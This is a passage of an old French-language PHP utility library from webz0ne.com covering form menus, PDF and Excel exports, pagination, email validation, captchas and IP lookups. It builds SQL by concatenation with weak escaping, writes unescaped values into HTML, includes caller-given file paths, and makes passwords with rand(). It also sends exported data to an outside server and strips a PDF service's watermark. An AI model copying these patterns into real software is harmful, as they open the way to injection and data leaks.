			$input = '<select onchange="' . $js . '" class="select_crud" name="' . $id . '" id="' . $id . '">' . "\n";
		
		if (strlen($premier))
		{
			$tabprem = explode(';', $premier);
			foreach ($tabprem as $prem)
			{
				list($c, $v) = explode('%%', $prem, 2);
				if ($v == $defaut)
					$input .= "\t" . '<option selected="1" value="' . $v . '">' . $c . '</option>' . "\n";
				else
					$input .= "\t" . '<option value="' . $v . '">' . $c . '</option>' . "\n";
			}
		}
		
		switch ($type)
		{
			case 'sql':
				$sql = $data;
				$tabsql = $gp_db -> fetchRow($sql);
				if ($sql == 'SHOW TABLES')
				{
					foreach ($tabsql as $ligne)
					{
						$tmp = $ligne[0];
						if (!is_utf8($tmp))
							$tmp = utf8_encode($tmp);
						$tab[$tmp] = sl($tmp);
					}
				}
				else
				{
					$tabsql = $gp_db -> fetchRow($sql);
					foreach ($tabsql as $ligne)
					{
						$idtmp = $ligne[0];
						$tmp = $ligne[1];
						if (!is_utf8($tmp))
							$tmp = utf8_encode($tmp);
						$tab[$idtmp] = sl($tmp);
					}
				}
				break;
			
			case 'vocabulaire':
				$vocabulaire = $data;
				$tab_voc = explode(';', $vocabulaire);
				$tab = array();
				foreach ($tab_voc as $voc)
				{
					list($c, $v) = explode('%%', $voc, 2);
					if (!is_utf8($v))
						$v = utf8_encode($v);
					$tab[$c] = sl($v);
				}
				break;
		}
		
		if (count($tab))
		{
			foreach ($tab as $c => $v)
			{
				if ($c == $defaut)
					$input .= "\t" . '<option selected="1" value="' . $c . '">' . $v . '</option>' . "\n";
				else
					$input .= "\t" . '<option value="' . $c . '">' . $v . '</option>' . "\n";
			}
		}
		
		$input .= '</select>';
		return $input;
	}
	
	function make_pdf($tab, $table)
	{
		$table = str_replace(' ', '_', $table);
		$html = '<html>
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
			<title>Extraction ' . $table . '</title>
			<style>
				*
				{
					font-family: verdana, tahoma, arial, sans serif;
					font-size: 11px;
				}
				h1
				{
					text-transform: uppercase;
					font-size: 135%;
				}
				th
				{
					font-size: 120%;
					color: #fff;
					background-color: #000;
					text-transform: uppercase;
				}
				td
				{
					border: solid 1px;
				}
				
				a, a:visited, a:hover
				{
					color: #000;
					text-decoration: underline;
				}
			</style>
		</head>
		<body>
			<center><h1>' . trad('Extraction', APPLNG) . ' &laquo ' . $table . ' &raquo;</h1></center>
			<p></p>
			<table width="100%" cellpadding="5" cellspacing="0" border="0">
			<tr>
				##entetes##
			</tr>
			##contenu##
			</table>
			<p />
			&copy; 1996 - ' . date('Y') . ' <a href="http://www.webz0ne.com">Webz0ne.com</a>
		</body>
		</html>';
		$tpl_entete = '<th>##val##</th>';
		$tpl_td = '<td>##val##</td>';
		
		$entetes = array();
		
		foreach ($tab as $ligne)
		{
			foreach ($ligne as $c => $v)
			{
				if (!in_array($c, $entetes))
				{
					$c = (!is_utf8($c)) ? utf8_encode($c) : $c;
					$entetes[] = $c;
				}
			}
		}
		$ent_xls = '';
		foreach ($entetes as $ent)
			$ent_xls .= str_replace('##val##', $ent, $tpl_entete);
		$html = str_replace('##entetes##', $ent_xls, $html);
		
		$cont_xls = '';
		foreach ($tab as $ligne)
		{
			$cont_xls .= '<tr>';
			foreach ($ligne as $c => $v)
			{
				$v = (!is_utf8($v)) ? utf8_encode($v) : $v;
				if (!strlen($v))
					$v = '&nbsp;';
				$cont_xls .= str_replace('##val##', $v, $tpl_td);
			}
			$cont_xls .= '</tr>';
		}
		
		$html = str_replace('##contenu##', $cont_xls, $html);
		$data = "html=" . urlencode($html);
		$ch = curl_init('http://www.webz0ne.com/makepdf.php');
		curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		$url = curl_exec($ch);
		curl_close($ch);
		
		$purl = 'http://pdfmyurl.com/?url=' . urlencode($url) . '&-O=Landscape&--header-right=' . urlencode("Page [page] / [toPage]");
		$pdf = file_get_contents($purl);
		$pdf = str_replace('http://pdfmyurl.com?otsrc=watermark&otclc=0.01', 'http://www.webz0ne.com', $pdf);
		$pdf = str_replace('wkhtmltopdf', 'webz0nePDF', $pdf);
		header("Content-type: application/pdf");
		header("Content-Length: " . strlen($pdf));
		header("Content-Disposition: attachement; filename=Extraction_$table.pdf");
		die($pdf);
	}
	
	function make_excel($tab, $table, $export = true)
	{
		$table = str_replace(' ', '_', $table);
		$excel = '<html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40">

	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
		<meta name="ProgId" content="Excel.Sheet">
		<meta name="Generator" content="Microsoft Excel 11">
		<style id="Classeur1_17373_Styles">
		<!--table
			{mso-displayed-decimal-separator:"\,";
			mso-displayed-thousand-separator:" ";}
		.xl1517373
			{padding-top:1px;
			padding-right:1px;
			padding-left:1px;
			mso-ignore:padding;
			color:windowtext;
			font-size:10.0pt;
			font-weight:400;
			font-style:normal;
			text-decoration:none;
			font-family:Arial;
			mso-generic-font-family:auto;
			mso-font-charset:0;
			mso-number-format:General;
			text-align:general;
			vertical-align:bottom;
			mso-background-source:auto;
			mso-pattern:auto;
			white-space:nowrap;}
		.xl2217373
			{padding-top:1px;
			padding-right:1px;
			padding-left:1px;
			mso-ignore:padding;
			color:#FFFF99;
			font-size:10.0pt;
			font-weight:700;
			font-style:normal;
			text-decoration:none;
			font-family:Arial, sans-serif;
			mso-font-charset:0;
			mso-number-format:General;
			text-align:center;
			vertical-align:bottom;
			background:#003366;
			mso-pattern:auto none;
			white-space:nowrap;}
		-->
		</style>
	</head>

		<body>
		<!--[if !excel]>&nbsp;&nbsp;<![endif]-->

		<div id="Classeur1_17373" align="center" x:publishsource="Excel">

		<table x:str border="0" cellpadding="0" cellspacing="0" width=640 style="border-collapse:
		 collapse; table-layout: fixed; width: 480pt">
		 <col width="80" span=8 style="width: 60pt">
		 <tr height="17" style="height:12.75pt">
		  ##entetes##
		 </tr>
		 ##contenu##
		</table>
		</div>
	</body>
</html>';
		$tpl_entete = '<td class="xl2217373">##val##</td>';
		$tpl_td = '<td>##val##</td>';
		
		$entetes = array();
		
		foreach ($tab as $ligne)
		{
			foreach ($ligne as $c => $v)
			{
				if (!in_array($c, $entetes))
					$entetes[] = $c;
			}
		}
		$ent_xls = '';
		foreach ($entetes as $ent)
			$ent_xls .= str_replace('##val##', $ent, $tpl_entete);
		$excel = str_replace('##entetes##', $ent_xls, $excel);
		
		$cont_xls = '';
		foreach ($tab as $ligne)
		{
			$cont_xls .= '<tr>';
			foreach ($ligne as $c => $v)
				$cont_xls .= str_replace('##val##', $v, $tpl_td);
			$cont_xls .= '</tr>';
		}
		
		$excel = str_replace('##contenu##', $cont_xls, $excel);
		
		if (is_utf8($excel))	$excel = utf8_decode($excel);
		if ($export)
		{
			header ("Content-type: application/excel");
			header ('Content-disposition: attachement; filename="extraction_' . $table . '_' . date('d_m_Y_H_i_s') . '.xls"');
			header("Content-Transfer-Encoding: binary");
			header("Expires: 0");
			header("Cache-Control: no-cache, must-revalidate");
			header("Pragma: no-cache");
			die($excel);
		}
		return $excel;
	}
	
	class GP_fonctions
	{
		static $_instance;
		
		// singleton
		public function &getInstance() 
		{
			if (!self::$_instance instanceof self)
				self::$_instance = new self();
			return self::$_instance;
		}
		
		public function valform($nom)
		{
			if (isset($_POST[$nom]) && strlen($_POST[$nom]))
				return $_POST[$nom];
			else 
			{
				if (isset($_GET[$nom]) && strlen($_GET[$nom]))
					return $_GET[$nom];
				else
					return '';
			}
		}
		
		public function setvar($nom, $val = '')
		{
			if (strlen($val) < 1)
				return self::valform($nom);
			else
				return $val;
		}
		
		public function trouver($a, $b, $c)
		{
			$temp = explode($a, $c, 2);
			$temp = explode($b, $temp[1], 2);
			return $temp[0];
		}
		
		public function is_php($version = '5.0.0')
		{
			static $_is_php;
			$version = (string)$version;
			
			if (!isset($_is_php[$version]))
				$_is_php[$version] = (version_compare(PHP_VERSION, $version) < 0) ? FALSE : TRUE;

			return $_is_php[$version];
		}
		
		public function &charger_class($class, $instancier = true)
		{
			static $objets = array();

			if (isset($objets[$class]))
				return $objets[$class];

			if (file_exists('class.'.$class.'.php'))
				require_once('class.'.$class.'.php');
			else
				return false;

			if ($instancier == false)
			{
				$objets[$class] = true;
				return $objets[$class];
			}

			$nom = 'GP_'.$class;
			$objets[$class] = &self::instancier_class(new $nom());
			return $objets[$class];
		}

		public function &instancier_class(&$class_objet)
		{
			return $class_objet;
		}
		
		public function set_status_header($code = 200, $texte = '')
		{
			$stati = array(
								200	=> 'OK',
								201	=> 'Created',
								202	=> 'Accepted',
								203	=> 'Non-Authoritative Information',
								204	=> 'No Content',
								205	=> 'Reset Content',
								206	=> 'Partial Content',

								300	=> 'Multiple Choices',
								301	=> 'Moved Permanently',
								302	=> 'Found',
								304	=> 'Not Modified',
								305	=> 'Use Proxy',
								307	=> 'Temporary Redirect',

								400	=> 'Bad Request',
								401	=> 'Unauthorized',
								403	=> 'Forbidden',
								404	=> 'Not Found',
								405	=> 'Method Not Allowed',
								406	=> 'Not Acceptable',
								407	=> 'Proxy Authentication Required',
								408	=> 'Request Timeout',
								409	=> 'Conflict',
								410	=> 'Gone',
								411	=> 'Length Required',
								412	=> 'Precondition Failed',
								413	=> 'Request Entity Too Large',
								414	=> 'Request-URI Too Long',
								415	=> 'Unsupported Media Type',
								416	=> 'Requested Range Not Satisfiable',
								417	=> 'Expectation Failed',

								500	=> 'Internal Server Error',
								501	=> 'Not Implemented',
								502	=> 'Bad Gateway',
								503	=> 'Service Unavailable',
								504	=> 'Gateway Timeout',
								505	=> 'HTTP Version Not Supported'
							);

			if ($code == '' || !is_numeric($code))
				GP_debug::erreur('Status codes must be numeric');

			if (isset($stati[$code]) && $texte == '')				
				$texte = $stati[$code];
			
			if ($texte == '')
				GP_debug::erreur('No status text available.  Please check your status code number or supply your own message text.');
			
			$protocole_serveur = (isset($_SERVER['SERVER_PROTOCOL'])) ? $_SERVER['SERVER_PROTOCOL'] : false;

			if (substr(php_sapi_name(), 0, 3) == 'cgi')
				header("Status: {$code} {$texte}", true);
			elseif ($protocole_serveur == 'HTTP/1.1' || $protocole_serveur == 'HTTP/1.0')
				header($protocole_serveur." {$code} {$texte}", true, $code);
			else
				header("HTTP/1.1 {$code} {$texte}", true, $code);
		}
		
		public function mysql_chaine($chaine = '') 
		{
			$chaine = str_replace("\\", "\\\\", $chaine);
			$chaine = str_replace("'", "''", $chaine);
			return $chaine;
		}
		
		function parse_sql() 
		{
			$arguments = func_get_args();
			$sql = array_shift($arguments);
			return vsprintf(str_replace('?', '%s', $sql), array_map('self::mysql_chaine', $arguments));	
		}
		
		public function extension_fichier($fichier) 
		{
			return substr(strrchr($fichier, "."), 1, strlen(strrchr($fichier, ".")));
		}
		
		public function is_valid_email($email) 
		{
			$email_tab = explode('@', $email);
			$nb = count($email_tab);
			
			if($nb <> 2)
				return false;
			if(empty($email_tab[0]) || strlen($email_tab[0]) > 64)
				return false;
			if(empty($email_tab[1]) || strlen($email_tab[1]) > 255)
				return false;
			$local_tab = explode('.', $email_tab[0]);
			$nb = count($local_tab);
			for ($i = 0 ; $i < $nb ; $i++) 
			{
				if (!@ereg("^(([A-Za-z0-9!#$%&'*+/=?^_`{|}~-][A-Za-z0-9!#$%&'*+/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$", $local_array[$i]))
					return false;
			}  
			if (!@ereg("^\[?[0-9\.]+\]?$", $email_tab[1])) 
			{
				$domaine_tab = explode('.', $email_tab[1]);
				$nb = count($domaine_tab);
				if ($nb < 2)
					return false;
				for ($i = 0 ; $i < $nb ; $i++) 
				{
					if (!@ereg("^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$", $domaine_tab[$i]))
						return false;
				}

				$tld = strtolower($domaine_tab[$nb - 1]);
				$tld_all = array(
					'ac', 
					'ad', 
					'ae', 
					'aero', 
					'af', 
					'ag', 
					'ai', 
					'al', 
					'am', 
					'an', 
					'ao', 
					'aq', 
					'ar', 
					'arpa', 
					'as', 
					'asia', 
					'at', 
					'au', 
					'aw', 
					'ax', 
					'az', 
					'ba', 
					'bb', 
					'bd', 
					'be', 
					'bf', 
					'bg', 
					'bh', 
					'bi', 
					'biz', 
					'bj', 
					'bm', 
					'bn', 
					'bo', 
					'br', 
					'bs', 
					'bt', 
					'bv', 
					'bw', 
					'by', 
					'bz', 
					'ca', 
					'cat', 
					'cc', 
					'cd', 
					'cf', 
					'cg', 
					'ch', 
					'ci', 
					'ck', 
					'cl', 
					'cm', 
					'cn', 
					'co', 
					'com', 
					'coop', 
					'cr', 
					'cu', 
					'cv', 
					'cx', 
					'cy', 
					'cz', 
					'de', 
					'dj', 
					'dk', 
					'dm', 
					'do', 
					'dz', 
					'ec', 
					'edu', 
					'ee', 
					'eg', 
					'er', 
					'es', 
					'et', 
					'eu', 
					'fi', 
					'fj', 
					'fk', 
					'fm', 
					'fo', 
					'fr', 
					'ga', 
					'gb', 
					'gd', 
					'ge', 
					'gf', 
					'gg', 
					'gh', 
					'gi', 
					'gl', 
					'gm', 
					'gn', 
					'gov', 
					'gp', 
					'gq', 
					'gr', 
					'gs', 
					'gt', 
					'gu', 
					'gw', 
					'gy', 
					'hk', 
					'hm', 
					'hn', 
					'hr', 
					'ht', 
					'hu', 
					'id', 
					'ie', 
					'il', 
					'im', 
					'in', 
					'info', 
					'int', 
					'io', 
					'iq', 
					'ir', 
					'is', 
					'it', 
					'je', 
					'jm', 
					'jo', 
					'jobs', 
					'jp', 
					'ke', 
					'kg', 
					'kh', 
					'ki', 
					'km', 
					'kn', 
					'kp', 
					'kr', 
					'kw', 
					'ky', 
					'kz', 
					'la', 
					'lb', 
					'lc', 
					'li', 
					'lk', 
					'lr', 
					'ls', 
					'lt', 
					'lu', 
					'lv', 
					'ly', 
					'ma', 
					'mc', 
					'md', 
					'me', 
					'mg', 
					'mh', 
					'mil', 
					'mk', 
					'ml', 
					'mm', 
					'mn', 
					'mo', 
					'mobi', 
					'mp', 
					'mq', 
					'mr', 
					'ms', 
					'mt', 
					'mu', 
					'museum', 
					'mv', 
					'mw', 
					'mx', 
					'my', 
					'mz', 
					'na', 
					'name', 
					'nc', 
					'ne', 
					'net', 
					'nf', 
					'ng', 
					'ni', 
					'nl', 
					'no', 
					'np', 
					'nr', 
					'nu', 
					'nz', 
					'om', 
					'org', 
					'pa', 
					'pe', 
					'pf', 
					'pg', 
					'ph', 
					'pk', 
					'pl', 
					'pm', 
					'pn', 
					'pr', 
					'pro', 
					'ps', 
					'pt', 
					'pw', 
					'py', 
					'qa', 
					're', 
					'ro', 
					'rs', 
					'ru', 
					'rw', 
					'sa', 
					'sb', 
					'sc', 
					'sd', 
					'se', 
					'sg', 
					'sh', 
					'si', 
					'sj', 
					'sk', 
					'sl', 
					'sm', 
					'sn', 
					'so', 
					'sr', 
					'st', 
					'su', 
					'sv', 
					'sy', 
					'sz', 
					'tc', 
					'td', 
					'tel', 
					'tf', 
					'tg', 
					'th', 
					'tj', 
					'tk', 
					'tl', 
					'tm', 
					'tn', 
					'to', 
					'tp', 
					'tr', 
					'travel', 
					'tt', 
					'tv', 
					'tw', 
					'tz', 
					'ua', 
					'ug', 
					'uk', 
					'us', 
					'uy', 
					'uz', 
					'va', 
					'vc', 
					've', 
					'vg', 
					'vi', 
					'vn', 
					'vu', 
					'wf', 
					'ws', 
					'ye', 
					'yt', 
					'yu', 
					'za', 
					'zm', 
					'zw'
				);

				if(!in_array($tld, $tld_all))
					return false;
			}
			return true;
		}
		
		public function html($url)
		{
			return implode('', file($url));
		}
		
		public function html2($src, $force = false)
		{
			$ext = strtolower(substr($src, strrpos($src, '.') + 1));
			if(($ext == "php" || $ext == "inc" || $ext == "html") && !$force)
			{
				ob_start();
				include($src);
				$html = ob_get_contents();
				ob_end_clean();
			}
			else
				$html = file_get_contents($src);

			return $html;
		}
		
		public function html3($url)
		{
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible;MSIE 5.01; Windows -NT 5.0)");
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			$page = curl_exec($ch);
			curl_close($ch);
			return $page;
		}
		
		public function fabric_id($table, $longueur = 8)
		{
			$GP_db = GP_db :: getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
			$newid = strtoupper(self::fabric_mdp($longueur));
			$requete = "SELECT COUNT(id) FROM $table WHERE id = ' ". $newid."'";
			$nb = $GP_db -> fetchRow_one($requete);
			if ($nb[0] > 0)
				self::fabric_id($table, $longueur);
			else
				return $newid;
		}
		
		public function fabric_mdp($longueur = 8)
		{
			$data = array();
			
			for ($i = 'a' ; $i <= 'z', strlen($i) == 1 ; $i++)
				$data[] = $i;
			
			for ($i = 0 ; $i <= 9 ; $i++)
				$data[] = $i;
				
			shuffle($data);
			
			$mdp = '';
			
			$nb = count($data) - 1;
			
			while (strlen($mdp) < $longueur)
			{
				$rand = rand(0, $nb);
				$mdp .= $data[$rand];
				shuffle($data);
			}
			return $mdp;
		}
		
		public function pdfwebz0ne($html)
		{
			$data = "html=" . base64_encode($html);
			$ch = curl_init('http://www.webz0ne.com/makepdf.php');
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_HEADER, false);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
			$retour = curl_exec($ch);
			curl_close($ch);
			return $retour;
		}
		
		function parseObjet($obj, $valeurs = true)
		{
			$obj_dump  = print_r($obj, 1);
			$ret_liste = array();
			$ret_map = array();
			$ret_nom = '';
			$dump_lignes = preg_split('/[\r\n]+/', $obj_dump);
			$ARR_NOM = 'ARR_NOM';
			$ARR_LISTE = 'ARR_LISTE';
			$arr_index = -1;
		   
			$corresp = array();
			preg_match('/^\s*(\S+)\s+\bObject\b/i', $obj_dump, $corresp);
			if(isset($corresp[1]))
				$ret_nom = $corresp[1];
		   
			foreach($dump_lignes as &$ligne)
			{
				$corresp = array();
		   
				if(preg_match('/^\s*\[\s*(\S+)\s*\]\s+=>\s+(.*)$/', $ligne, $corresp))
				{
			   
					if(stripos($corresp[2], 'array') !== false)
					{
				   
					  $arr_map = array();
					  $arr_map[$ARR_NOM] = $corresp[1];
					  $arr_map[$ARR_LISTE] = array();
					  $ARR_LISTE[++$arr_index] = $arr_map;
				   
					}
					else
					{
					  if($arr_index >= 0)
						$ARR_LISTE[$arr_index][$ARR_LISTE][$corresp[1]] = $corresp[2];
					  else
						$ret_liste[$corresp[1]] = $corresp[2];
					}
				}
				else
				{
					if(stripos($ligne, ')') !== false)
					{
						if($arr_index >= 0)
						{
							$arr_map = array_pop($ARR_LISTE);
							if($arr_index > 0)
								$ARR_LISTE[($arr_index - 1)][$ARR_LISTE][$arr_map[$ARR_NOM]] = $arr_map[$ARR_LISTE];
							else
							$ret_liste[$arr_map[$ARR_NOM]] = $arr_map[$ARR_LISTE];
							$arr_index--;
						}
					}
				}
			}
		   
			$ret_map['nom'] = $ret_nom;
			$ret_map['variables'] = $ret_liste;
			return $ret_map;
		}
		
		function mystrlen($chaine) 
		{
			return mb_strlen($chaine, 'utf-8');
		}


		function mysubstr($chaine, $offset, $longueur) 
		{
			return mb_substr($chaine, $offset, $longueur);
		}


		function myhtmlentities($chaine) 
		{
			return htmlentities($chaine, ENT_QUOTES, 'utf-8');
		}
		
		function verif_page($page)
		{
			if (is_file(DIR_HTML . $page . '.html') && is_file(DIR_SCRIPTS . $page . '.php'))
				return true;
			return false;
		}
		
		function deregister_globals()
		{
			global $GP_session;
			
			$not_unset = array(
				'GLOBALS'	=> true,
				'_GET'		=> true,
				'_POST'		=> true,
				'_COOKIE'	=> true,
				'_REQUEST'	=> true,
				'_SERVER'	=> true,
				'_SESSION'	=> true,
				'_ENV'		=> true,
				'_FILES'	=> true,
				'phpEx'		=> true,
				'phpbb_root_path'	=> true
			);

			$input = array_merge(
				array_keys($_GET),
				array_keys($_POST),
				array_keys($_COOKIE),
				array_keys($_SERVER),
				array_keys($_SESSION),
				array_keys($_ENV),
				array_keys($_FILES)
			);

			foreach ($input as $varname)
			{
				if (isset($not_unset[$varname]))
				{
					if ($varname !== 'GLOBALS' || isset($_GET['GLOBALS']) || isset($_POST['GLOBALS']) || isset($_SERVER['GLOBALS']) || isset($_SESSION['GLOBALS']) || isset($_ENV['GLOBALS']) || isset($_FILES['GLOBALS']))
						exit;
					else
					{
						$cookie = &$_COOKIE;
						while (isset($cookie['GLOBALS']))
						{
							foreach ($cookie['GLOBALS'] as $registered_var => $value)
							{
								if (!isset($not_unset[$registered_var]))
									unset($GLOBALS[$registered_var]);
							}
							$cookie = &$cookie['GLOBALS'];
						}
					}
				}

				unset($GLOBALS[$varname]);
			}

			unset($input);
		}
		
		function convertir_taille($taille)
		{
			$unites = array(
				'b',
				'kb',
				'mb',
				'gb',
				'tb',
				'pb'
			);
			
			return @round($taille / pow(1024, ($i = floor(log($taille, 1024)))), 2).' '.$unites[$i];
		}
		
		function codebarre($str)
		{
			return '<img src="http://trousses.ymp-pmj.ca/wrapper.php?p_bcType=1&p_text=' . sl($str) . '&p_xDim=1&p_w2n=3&p_charGap=2&p_invert=Y&p_charHeight=50&p_type=2&p_label=N&p_rotAngle=0&p_checkDigit=Y" />';
		}
		
		function PDFHTML($html, $titre = '', $langue = 'fr', $position = 'P', $type_page = 'A4')
		{
			if (!isset($titre))
				$titre = md5($html);
			$pdf = HTML2PDF::getInstance($position, $type_page, $langue);
			$pdf -> WriteHTML($html);
			$pdf -> Output($titre . '.pdf', 'D');
		}
		
		function PDFHTML2($html, $titre = '', $langue = 'fr', $position = 'P', $type_page = 'A4')
		{
			if (!strlen($titre))
				$titre = md5($html);
			require_once("dompdf/dompdf_config.inc.php");  
			
			$position = ($position == 'P') ? 'portrait' : 'landscape';
			
			$dompdf = new DOMPDF();
			$dompdf -> load_html($html);
			$dompdf -> set_paper($type_page, $position);
			$dompdf -> render();

			$dompdf -> stream($titre . '.pdf');
		}
		
		function captcha($longueur = 5)
		{
			global $GP_session;
			
			$captcha = GP_captcha::getInstance();
			
			$data = array();
			
			for ($i = 'A' ; $i <= 'Z', strlen($i) == 1 ; $i++)
			{
				if ($i <> 'O' && $i <> 'Q' && $i <> 'I')
					$data[] = $i;
			}
			
			for ($i = 2 ; $i <= 9 ; $i++)
				$data[] = $i;
				
			shuffle($data);
			
			$code = '';
			
			$nb = count($data) - 1;
			
			while (strlen($code) < $longueur)
			{
				$hasard = rand(0, $nb);
				$code .= $data[$hasard];
				shuffle($data);
			}
			
			$GP_session -> effacer_donnees_session('rgcaptacha');
			$GP_session -> sauver_donnees_session('rgcaptacha', $code);
			$captcha -> execute($code, time());
		}
		
		function pagination($parametres, $page_courante, $total, $limite)
		{			
			global $page;
			if ($page <> $GLOBALS["page"])
				$page = $GLOBALS["page"];
			$url = "";
			foreach ($parametres as $c => $v)
				$url .= "$c=" . sl($v) . "&";
			$url = substr($url, 0, -1);
			$url = str_replace(NOMPAGE . "=$page&", "", $url);
			$html = '<span class="page_numbers" id="page_numbers">';
				
			if ($page_courante > 1)
				$html .= '<a href="' . rw($page, $url . '&numpage=1') . '"><img title="Aller page 1" alt="Aller page 1" src="'.URL_SITE.'img/first.png" style="position: relative; top: 4px;" /></a>&nbsp;&nbsp;<a href="' . rw($page, $url . '&numpage=' . ($page_courante - 1)) . '"><img style="position: relative; top: 4px;" title="Aller page ' . ($page_courante - 1) . '" alt="Aller page ' . ($page_courante - 1) . '" src="'.URL_SITE.'img/previous.png" /></a>&nbsp;&nbsp;&nbsp;';
				
			$nbpages = ceil($total / $limite);
				
			if ($page_courante < 5)
			{
				$submax = 5;
				if ($submax > $nbpages)
					$submax = $nbpages;
					
				for ($i = 1 ; $i <= $submax ; $i++)
				{
					if ($i == $page_courante)
						$html .= '<span class="page_courante"><a href="#" onclick="return false;">' . $i . '</a></span>&nbsp;';
					else
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
				}
					
				if ($nbpages > $submax)
					{
					if ((($nbpages - 3) - $submax) > 1)
						$html .= '<strong>&hellip;</strong>&nbsp;';
							
					for ($i = $nbpages - 3 ; $i <= $nbpages ; $i++)
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
				}
			}
				
			else
			{
				if ($page_courante < $nbpages - 5)
				{
					for ($i = 1 ; $i <= 3 ; $i++)
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
						
					if ($page_courante - $i > 1)
						$html .= '<strong>&hellip;</strong>&nbsp;';
						
					for ($i = $page_courante - 1 ; $i <= $page_courante + 5 ; $i++)
					{
						if ($i == $page_courante)
							$html .= '<span class="page_courante"><a href="#" onclick="return false;">' . $i . '</a></span>&nbsp;';
						else
							$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
					}
						
					$debmin = $nbpages - 3;
						
					if ($debmin <= $page_courante + 5)
						$debmin = $page_courante + 6;
							
					if (($debmin - $i) > 1 && $debmin <> $nbpages)
						$html .= '<strong>&hellip;</strong>&nbsp;';
							
					for ($i = $debmin ; $i <= $nbpages ; $i++)
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
				}
				else
				{
					for ($i = 1 ; $i <= 3 ; $i++)
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
						
					$debmin = ($page_courante - 4 <= 3) ? 4 : $page_courante - 4;
						
					if ($debmin - 3 > 1)
						$html .= '<strong>&hellip;</strong>&nbsp;';
						
					for ($i = $debmin ; $i < $page_courante ; $i++)
						$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
							
					if ($page_courante - $i > 1)
						$html .= '<strong>&hellip;</strong>&nbsp;';
						
					for ($i = $page_courante ; $i <= $nbpages ; $i++)
					{
						if ($i == $page_courante)
							$html .= '<span class="page_courante"><a href="#" onclick="return false;">' . $i . '</a></span>&nbsp;';
						else
							$html .= '<a href="' . rw($page, $url . '&numpage=' . $i) . '">' . $i . '</a>&nbsp;';
					}
				}
			}
			
			if ($page_courante < $nbpages)
					$html .= '&nbsp;&nbsp;&nbsp;<a href="' . rw($page, $url . '&numpage=' . ($page_courante + 1)) . '
					"><img style="position: relative; top: 4px;" title="Aller page ' . ($page_courante + 1) . '" alt="Aller page ' . ($page_courante + 1) . '" src="'.URL_SITE.'img/next.png" /></a>&nbsp;&nbsp;<a href="' . rw($page, $url . '&numpage=' . $nbpages) . '"><img style="position: relative; top: 4px;" title="Aller page ' . ($nbpages).'" alt="Aller page ' . $nbpages . '" src="'.URL_SITE.'img/last.png" /></a>';
			$html .= '</span>';
				
			return $html;
		}
		
		function IP_info($ip)
		{
			$html = self::html3('http://whatismyipaddress.com/staticpages/index.php/lookup-results?ip=' . $ip);
			$html = ereg_replace("\n", "", $html);
			$html = ereg_replace("\r", "", $html);
			$html = ereg_replace("\t", "", $html);
			
			$pays = self::trouver('<TR><TD>Country:</TD><TD>', ' <img', $html);
			$etat_region = self::trouver('<TR><TD>State/Region:</TD><TD>', '</TD>', $html);
			$ville = self::trouver('<TR><TD>City:</TD><TD>', '</TD>', $html);
			$latitude = self::trouver('<TR><TD>Latitude:</TD><TD>', '</TD>', $html);
			$longitude = self::trouver('<TR><TD>Longitude:</TD><TD>', '</TD>', $html);
			$code_postal = self::trouver('<TR><TD>Area Code:</TD><TD>', '</TD>', $html);
			
			$organisation = self::trouver('<TR><TD>Organization:</TD><TD>', '</TD>', $html);
			$ISP = self::trouver('<TR><TD>ISP:</TD><TD>', '</TD>', $html);
			$proxy = self::trouver('<TR><TD>Proxy:</TD><TD>', '</TD>', $html);
			$type = self::trouver('<TR><TD>Type:</TD><TD>', '</TD>', $html);
			$type = self::trouver('>', '<', $type);
			$assignment = self::trouver('<TR><TD>Assignment:</TD><TD>', '</TD>', $html);
			$assignment = self::trouver('>', '<', $assignment);
			$hostname = self::trouver('<TR><TD>Hostname:</TD><TD>', '</TD>', $html);
			
			$retour = array(
				'pays' => $pays,
				'etat_region' => $etat_region,
				'ville' => $ville,
				'latitude' => $latitude,
				'longitude' => $longitude,
				'code_postal' => $code_postal,
				'organisation' => $organisation,
				'ISP' => $ISP,
				'proxy' => $proxy,
				'type' => $type,
				'assignment' => $assignment,
				'hostname' => $hostname
			);
			
			return $retour;
		}
		
		function supp_elem_tab($tab, $elem)
		{
			unset($tab[array_search($elem, $tab)]);
			return $tab;
		}
		
		function conversion_monnaie($de = 'EUR', $vers = 'USD', $montant = 100)
		{
			$html = self::html("http://www.google.com/finance/converter?a=$montant&from=$de&to=$vers");
			return self::trouver('<span class=bld>', '</span>', $html);
		}
		
		function email_smtp($to, $sujet, $message, $entetes, $f = 'gplusquellec@webz0ne.com')
		{
			$message = wordwrap($message, 80);
			$message = ereg_replace("\n", "\r\n", $message);
			
			$smtp_serveur = "mail.webz0ne.com";		
			$smtp_login = "cdgsmtp@webz0ne.com"; 
